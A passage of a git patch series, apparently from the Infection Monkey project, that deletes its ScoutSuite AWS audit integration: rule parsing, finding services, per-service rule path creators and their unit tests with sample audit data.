.../services/zero_trust/raw_scoutsute_data.py | 169 ------------------ .../data_parsing/test_rule_parser.py | 48 ----- .../test_scoutsuite_rule_service.py | 66 ------- 5 files changed, 352 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/raw_scoutsute_data.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py deleted file mode 100644 index 7db9a5988..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py +++ /dev/null @@ -1,40 +0,0 @@ -from enum import Enum - -from common.utils.code_utils import get_value_from_dict -from common.utils.exceptions import RulePathCreatorNotFound -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import ( # noqa: E501 - RULE_PATH_CREATORS_LIST, -) - - -def __build_rule_to_rule_path_creator_hashmap(): - hashmap = {} - for rule_path_creator in RULE_PATH_CREATORS_LIST: - for rule_name in rule_path_creator.supported_rules: - hashmap[rule_name] = rule_path_creator - return hashmap - - -RULE_TO_RULE_PATH_CREATOR_HASHMAP = __build_rule_to_rule_path_creator_hashmap() - - -class RuleParser: - @staticmethod - def get_rule_data(scoutsuite_data: dict, rule_name: Enum) -> dict: - rule_path = RuleParser._get_rule_path(rule_name) - return get_value_from_dict(scoutsuite_data, rule_path) - - @staticmethod - def _get_rule_path(rule_name: Enum): - creator = RuleParser._get_rule_path_creator(rule_name) - return creator.build_rule_path(rule_name) - - @staticmethod - def _get_rule_path_creator(rule_name: Enum): - try: - return RULE_TO_RULE_PATH_CREATOR_HASHMAP[rule_name] - except KeyError: - raise RulePathCreatorNotFound( - f"Rule path creator not found for rule {rule_name.value}. Make sure to assign" - f"this rule to any rule path creators." - ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py deleted file mode 100644 index a97a1a2c8..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py +++ /dev/null @@ -1,29 +0,0 @@ -from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite.consts import rule_consts - - -class ScoutSuiteRuleService: - @staticmethod - def get_rule_from_rule_data(rule_data: dict) -> ScoutSuiteRule: - rule = ScoutSuiteRule() - rule.description = rule_data["description"] - rule.path = rule_data["path"] - rule.level = rule_data["level"] - rule.items = rule_data["items"] - rule.dashboard_name = rule_data["dashboard_name"] - rule.checked_items = rule_data["checked_items"] - rule.flagged_items = rule_data["flagged_items"] - rule.service = rule_data["service"] - rule.rationale = rule_data["rationale"] - rule.remediation = rule_data["remediation"] - rule.compliance = rule_data["compliance"] - rule.references = rule_data["references"] - return rule - - @staticmethod - def is_rule_dangerous(rule: ScoutSuiteRule): - return rule.level == rule_consts.RULE_LEVEL_DANGER and len(rule.items) != 0 - - @staticmethod - def is_rule_warning(rule: ScoutSuiteRule): - return rule.level == rule_consts.RULE_LEVEL_WARNING and len(rule.items) != 0 diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/raw_scoutsute_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/raw_scoutsute_data.py deleted file mode 100644 index 9905868af..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/raw_scoutsute_data.py +++ /dev/null @@ -1,169 +0,0 @@ -# This is what our codebase receives after running ScoutSuite module. -# Object '...': {'...': '...'} represents continuation of similar objects as above -RAW_SCOUTSUITE_DATA = { - "sg_map": { - "sg-abc": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, - "sg-abcd": {"region": "ap-northeast-2", "vpc_id": "vpc-abc"}, - "...": {"...": "..."}, - }, - "subnet_map": { - "subnet-abc": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, - "subnet-abcd": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, - "...": {"...": "..."}, - }, - "provider_code": "aws", - "provider_name": "Amazon Web Services", - "environment": None, - "result_format": "json", - "partition": "aws", - "account_id": "125686982355", - "last_run": { - "time": "2021-02-05 16:03:04+0200", - "run_parameters": { - "services": [], - "skipped_services": [], - "regions": [], - "excluded_regions": [], - }, - "version": "5.10.0", - "ruleset_name": "default", - "ruleset_about": "This ruleset", - "summary": { - "ec2": { - "checked_items": 3747, - "flagged_items": 262, - "max_level": "warning", - "rules_count": 28, - "resources_count": 176, - }, - "s3": { - "checked_items": 88, - "flagged_items": 25, - "max_level": "danger", - "rules_count": 18, - "resources_count": 5, - }, - "...": {"...": "..."}, - }, - }, - "metadata": { - "compute": { - "summaries": { - "external attack surface": { - "cols": 1, - "path": "service_groups.compute.summaries.external_attack_surface", - "callbacks": [["merge", {"attribute": "external_attack_surface"}]], - } - }, - "...": {"...": "..."}, - }, - "...": {"...": "..."}, - }, - # This is the important part, which we parse to get resources - "services": { - "ec2": { - "regions": { - "ap-northeast-1": { - "vpcs": { - "vpc-abc": { - "id": "vpc-abc", - "security_groups": { - "sg-abc": { - "name": "default", - "rules": { - "ingress": { - "protocols": { - "ALL": { - "ports": { - "1-65535": { - "cidrs": [{"CIDR": "0.0.0.0/0"}] - } - } - } - }, - "count": 1, - }, - "egress": { - "protocols": { - "ALL": { - "ports": { - "1-65535": { - "cidrs": [{"CIDR": "0.0.0.0/0"}] - } - } - } - }, - "count": 1, - }, - }, - } - }, - } - }, - "...": {"...": "..."}, - } - }, - # Interesting info, maybe could be used somewhere in the report - "external_attack_surface": { - "52.52.52.52": { - "protocols": {"TCP": {"ports": {"22": {"cidrs": [{"CIDR": "0.0.0.0/0"}]}}}}, - "InstanceName": "InstanceName", - "PublicDnsName": "ec2-52-52-52-52.eu-central-1.compute.amazonaws.com", - } - }, - # We parse these into ScoutSuite security rules - "findings": { - "ec2-security-group-opens-all-ports-to-all": { - "description": "Security Group Opens All Ports to All", - "path": "ec2.regions.id.vpcs.id.security_groups" - ".id.rules.id.protocols.id.ports.id.cidrs.id.CIDR", - "level": "danger", - "display_path": "ec2.regions.id.vpcs.id.security_groups.id", - "items": [ - "ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups" - ".sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR" - ], - "dashboard_name": "Rules", - "checked_items": 179, - "flagged_items": 2, - "service": "EC2", - "rationale": "It was detected that all ports in the security group are " - "open <...>", - "remediation": None, - "compliance": None, - "references": None, - }, - "...": {"...": "..."}, - }, - }, - "...": {"...": "..."}, - }, - "service_list": [ - "acm", - "awslambda", - "cloudformation", - "cloudtrail", - "cloudwatch", - "config", - "directconnect", - "dynamodb", - "ec2", - "efs", - "elasticache", - "elb", - "elbv2", - "emr", - "iam", - "kms", - "rds", - "redshift", - "route53", - "s3", - "ses", - "sns", - "sqs", - "vpc", - "secretsmanager", - ], - "service_groups": {"...": {"...": "..."}}, -} diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py deleted file mode 100644 index 819d6fe76..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py +++ /dev/null @@ -1,48 +0,0 @@ -from enum import Enum - -import pytest -from tests.unit_tests.monkey_island.cc.services.zero_trust.raw_scoutsute_data import ( - RAW_SCOUTSUITE_DATA, -) - -from common.utils.exceptions import RulePathCreatorNotFound -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser - - -class ExampleRules(Enum): - NON_EXSISTENT_RULE = "bogus_rule" - - -ALL_PORTS_OPEN = EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL - -EXPECTED_RESULT = { - "description": "Security Group Opens All Ports to All", - "path": "ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id" - ".cidrs.id.CIDR", - "level": "danger", - "display_path": "ec2.regions.id.vpcs.id.security_groups.id", - "items": [ - "ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups." - "sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR" - ], - "dashboard_name": "Rules", - "checked_items": 179, - "flagged_items": 2, - "service": "EC2", - "rationale": "It was detected that all ports in the security group are open <...>", - "remediation": None, - "compliance": None, - "references": None, -} - - -def test_get_rule_data(): - # Test proper parsing of the raw data to rule - results = RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA[SERVICES], ALL_PORTS_OPEN) - assert results == EXPECTED_RESULT - - with pytest.raises(RulePathCreatorNotFound): - RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA[SERVICES], ExampleRules.NON_EXSISTENT_RULE) - pass diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py deleted file mode 100644 index d389ce904..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py +++ /dev/null @@ -1,66 +0,0 @@ -from copy import deepcopy - -from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501 - RULES, -) - -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_consts import ( - RULE_LEVEL_DANGER, - RULE_LEVEL_WARNING, -) -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ( - ScoutSuiteRuleService, -) - -example_scoutsuite_data = { - "checked_items": 179, - "compliance": None, - "dashboard_name": "Rules", - "description": "Security Group Opens All Ports to All", - "flagged_items": 2, - "items": [ - "ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72" - ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65" - ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR", - ], - "level": "danger", - "path": "ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id" - ".cidrs.id.CIDR", - "rationale": "It was detected that all ports in the security group are open, " - "and any source IP address" - " could send traffic to these ports, which creates a wider attack surface " - "for resources " - "assigned to it. Open ports should be reduced to the minimum needed to " - "correctly", - "references": [], - "remediation": None, - "service": "EC2", -} - - -def test_get_rule_from_rule_data(): - assert ScoutSuiteRuleService.get_rule_from_rule_data(example_scoutsuite_data) == RULES[0] - - -def test_is_rule_dangerous(): - test_rule = deepcopy(RULES[0]) - assert ScoutSuiteRuleService.is_rule_dangerous(test_rule) - - test_rule.level = RULE_LEVEL_WARNING - assert not ScoutSuiteRuleService.is_rule_dangerous(test_rule) - - test_rule.level = RULE_LEVEL_DANGER - test_rule.items = [] - assert not ScoutSuiteRuleService.is_rule_dangerous(test_rule) - - -def test_is_rule_warning(): - test_rule = deepcopy(RULES[0]) - assert not ScoutSuiteRuleService.is_rule_warning(test_rule) - - test_rule.level = RULE_LEVEL_WARNING - assert ScoutSuiteRuleService.is_rule_warning(test_rule) - - test_rule.items = [] - assert not ScoutSuiteRuleService.is_rule_warning(test_rule) From 7498cbbe56e345fa4faeb485c50ff031c8be8bb6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Feb 2022 14:56:08 -0500 Subject: [PATCH 0321/1110] Common: Remove RulePathCreatorNotFound Exception --- monkey/common/utils/exceptions.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index 984314a23..fc114781d 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -22,10 +22,6 @@ class IncorrectCredentialsError(Exception): """ Raise to indicate that authentication failed """ -class RulePathCreatorNotFound(Exception): - """ Raise to indicate that ScoutSuite rule doesn't have a path creator""" - - class InvalidAWSKeys(Exception): """ Raise to indicate that AWS API keys are invalid""" From 2728404a150d225188ea013f8946974ecb553fcb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Feb 2022 14:56:45 -0500 Subject: [PATCH 0322/1110] Island: Remove ScoutSuiteZTFindingService --- .../scoutsuite_zt_finding_service.py | 81 ------------------- .../test_scoutsuite_zt_finding_service.py | 45 ----------- 2 files changed, 126 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py deleted file mode 100644 index 3d0cf8413..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py +++ /dev/null @@ -1,81 +0,0 @@ -from typing import List - -from common.common_consts import zero_trust_consts -from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding -from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails -from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ( - ScoutSuiteFindingMap, -) -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ( - ScoutSuiteRuleService, -) - - -class ScoutSuiteZTFindingService: - @staticmethod - def process_rule(finding: ScoutSuiteFindingMap, rule: ScoutSuiteRule): - existing_findings = ScoutSuiteFinding.objects(test=finding.test) - assert len(existing_findings) < 2, "More than one finding exists for {}".format( - finding.test - ) - - if len(existing_findings) == 0: - ScoutSuiteZTFindingService._create_new_finding_from_rule(finding, rule) - else: - ScoutSuiteZTFindingService.add_rule(existing_findings[0], rule) - - @staticmethod - def _create_new_finding_from_rule(finding: ScoutSuiteFindingMap, rule: ScoutSuiteRule): - details = ScoutSuiteFindingDetails() - details.scoutsuite_rules = [rule] - details.save() - status = ScoutSuiteZTFindingService.get_finding_status_from_rules(details.scoutsuite_rules) - ScoutSuiteFinding.save_finding(finding.test, status, details) - - @staticmethod - def get_finding_status_from_rules(rules: List[ScoutSuiteRule]) -> str: - if len(rules) == 0: - return zero_trust_consts.STATUS_UNEXECUTED - elif filter(lambda x: ScoutSuiteRuleService.is_rule_dangerous(x), rules): - return zero_trust_consts.STATUS_FAILED - elif filter(lambda x: ScoutSuiteRuleService.is_rule_warning(x), rules): - return zero_trust_consts.STATUS_VERIFY - else: - return zero_trust_consts.STATUS_PASSED - - @staticmethod - def add_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): - ScoutSuiteZTFindingService.change_finding_status_by_rule(finding, rule) - finding.save() - finding.details.fetch().add_rule(rule) - - @staticmethod - def change_finding_status_by_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): - rule_status = ScoutSuiteZTFindingService.get_finding_status_from_rules([rule]) - finding_status = finding.status - new_finding_status = ScoutSuiteZTFindingService.get_finding_status_from_rule_status( - finding_status, rule_status - ) - if finding_status != new_finding_status: - finding.status = new_finding_status - - @staticmethod - def get_finding_status_from_rule_status(finding_status: str, rule_status: str) -> str: - if ( - finding_status == zero_trust_consts.STATUS_FAILED - or rule_status == zero_trust_consts.STATUS_FAILED - ): - return zero_trust_consts.STATUS_FAILED - elif ( - finding_status == zero_trust_consts.STATUS_VERIFY - or rule_status == zero_trust_consts.STATUS_VERIFY - ): - return zero_trust_consts.STATUS_VERIFY - elif ( - finding_status == zero_trust_consts.STATUS_PASSED - or rule_status == zero_trust_consts.STATUS_PASSED - ): - return zero_trust_consts.STATUS_PASSED - else: - return zero_trust_consts.STATUS_UNEXECUTED diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py deleted file mode 100644 index 33e9fd34b..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py +++ /dev/null @@ -1,45 +0,0 @@ -import pytest -from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501 - RULES, - SCOUTSUITE_FINDINGS, -) - -from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ( - ScoutSuiteZTFindingService, -) - - -class TestScoutSuiteZTFindingService: - @pytest.mark.usefixtures("uses_database") - def test_process_rule(self): - # Creates new PermissiveFirewallRules finding with a rule - ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[0], RULES[0]) - findings = list(Finding.objects()) - assert len(findings) == 1 - assert type(findings[0]) == ScoutSuiteFinding - # Assert that details were created properly - details = findings[0].details.fetch() - assert len(details.scoutsuite_rules) == 1 - assert details.scoutsuite_rules[0] == RULES[0] - - # Rule processing should add rule to an already existing finding - ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[0], RULES[1]) - findings = list(ScoutSuiteFinding.objects()) - assert len(findings) == 1 - assert type(findings[0]) == ScoutSuiteFinding - # Assert that details were created properly - details = findings[0].details.fetch() - assert len(details.scoutsuite_rules) == 2 - assert details.scoutsuite_rules[1] == RULES[1] - - # New finding created - ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[1], RULES[1]) - findings = list(Finding.objects()) - assert len(findings) == 2 - assert type(findings[0]) == ScoutSuiteFinding - # Assert that details were created properly - details = findings[1].details.fetch() - assert len(details.scoutsuite_rules) == 1 - assert details.scoutsuite_rules[0] == RULES[1] From 75f23b6032b51ada3d21e2294ae323fde581594e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Feb 2022 15:18:32 -0500 Subject: [PATCH 0323/1110] Island: Remove ScoutSuite rule path creators --- .../scoutsuite/consts/service_consts.py | 31 --------- .../abstract_rule_path_creator.py | 28 --------- .../cloudformation_rule_path_creator.py | 12 ---- .../cloudtrail_rule_path_creator.py | 12 ---- .../cloudwatch_rule_path_creator.py | 12 ---- .../config_rule_path_creator.py | 12 ---- .../ec2_rule_path_creator.py | 10 --- .../elb_rule_path_creator.py | 10 --- .../elbv2_rule_path_creator.py | 10 --- .../iam_rule_path_creator.py | 10 --- .../rds_rule_path_creator.py | 10 --- .../redshift_rule_path_creator.py | 12 ---- .../s3_rule_path_creator.py | 10 --- .../ses_rule_path_creator.py | 10 --- .../sns_rule_path_creator.py | 10 --- .../sqs_rule_path_creator.py | 10 --- .../vpc_rule_path_creator.py | 10 --- .../rule_path_creators_list.py | 63 ------------------- 18 files changed, 282 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py deleted file mode 100644 index abbd48164..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py +++ /dev/null @@ -1,31 +0,0 @@ -from enum import Enum - -SERVICES = "services" -FINDINGS = "findings" - - -class SERVICE_TYPES(Enum): - ACM = "acm" - AWSLAMBDA = "awslambda" - CLOUDFORMATION = "cloudformation" - CLOUDTRAIL = "cloudtrail" - CLOUDWATCH = "cloudwatch" - CONFIG = "config" - DIRECTCONNECT = "directconnect" - EC2 = "ec2" - EFS = "efs" - ELASTICACHE = "elasticache" - ELB = "elb" - ELB_V2 = "elbv2" - EMR = "emr" - IAM = "iam" - KMS = "kms" - RDS = "rds" - REDSHIFT = "redshift" - ROUTE53 = "route53" - S3 = "s3" - SES = "ses" - SNS = "sns" - SQS = "sqs" - VPC = "vpc" - SECRETSMANAGER = "secretsmanager" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py deleted file mode 100644 index 56734e1a0..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py +++ /dev/null @@ -1,28 +0,0 @@ -from abc import ABC, abstractmethod -from enum import Enum -from typing import List, Type - -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import ( - FINDINGS, - SERVICE_TYPES, -) - - -class AbstractRulePathCreator(ABC): - @property - @abstractmethod - def service_type(self) -> SERVICE_TYPES: - pass - - @property - @abstractmethod - def supported_rules(self) -> Type[RuleNameEnum]: - pass - - @classmethod - def build_rule_path(cls, rule_name: Enum) -> List[str]: - assert rule_name in cls.supported_rules - return [cls.service_type.value, FINDINGS, rule_name.value] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py deleted file mode 100644 index 55f718608..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py +++ /dev/null @@ -1,12 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import ( - CloudformationRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class CloudformationRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.CLOUDFORMATION - supported_rules = CloudformationRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py deleted file mode 100644 index 1f764ec8b..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py +++ /dev/null @@ -1,12 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import ( - CloudTrailRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class CloudTrailRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.CLOUDTRAIL - supported_rules = CloudTrailRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py deleted file mode 100644 index 573d129ee..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py +++ /dev/null @@ -1,12 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import ( - CloudWatchRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class CloudWatchRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.CLOUDWATCH - supported_rules = CloudWatchRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py deleted file mode 100644 index 45cc2e3d6..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py +++ /dev/null @@ -1,12 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ( - ConfigRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class ConfigRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.CONFIG - supported_rules = ConfigRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py deleted file mode 100644 index 41e42180b..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class EC2RulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.EC2 - supported_rules = EC2Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py deleted file mode 100644 index 65b320292..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules -from 